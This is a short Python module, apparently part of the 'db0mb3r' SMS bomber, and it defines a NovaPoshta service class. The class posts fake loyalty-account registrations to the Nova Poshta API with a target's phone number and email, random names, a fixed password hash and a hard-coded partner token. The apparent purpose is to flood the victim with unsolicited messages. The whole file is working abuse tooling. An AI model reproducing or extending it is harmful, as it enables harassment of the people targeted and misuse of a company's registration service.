novaposhta.py 1.1 KB

123456789101112131415161718192021222324252627282930313233
  1. import random
  2. from db0mb3r.services.service import Service
  3. class NovaPoshta(Service):
  4. phone_codes = [7]
  5. async def run(self):
  6. name = "".join(random.choices("Іїє", k=random.randint(3, 5)))
  7. await self.post(
  8. "https://api.novaposhta.ua/v2.0/json/LoyaltyUserGeneral/registration",
  9. json={
  10. "modelName": "LoyaltyUserGeneral",
  11. "calledMethod": "registration",
  12. "system": "PA 3.0",
  13. "methodProperties": {
  14. "City": "8d5a980d-391c-11dd-90d9-001a92567626",
  15. "FirstName": name,
  16. "LastName": name,
  17. "Patronymic": name,
  18. "Phone": f"0{self.phone}",
  19. "Email": self.email,
  20. "BirthDate": "02.02.2010",
  21. "Password": "0c465655c53d2d8ec971581f5dfdbd83",
  22. "Gender": "M",
  23. "CounterpartyType": "PrivatePerson",
  24. "MarketplacePartnerToken": "005056887b8d-b5da-11e6-9f54-cea38574",
  25. },
  26. },
  27. )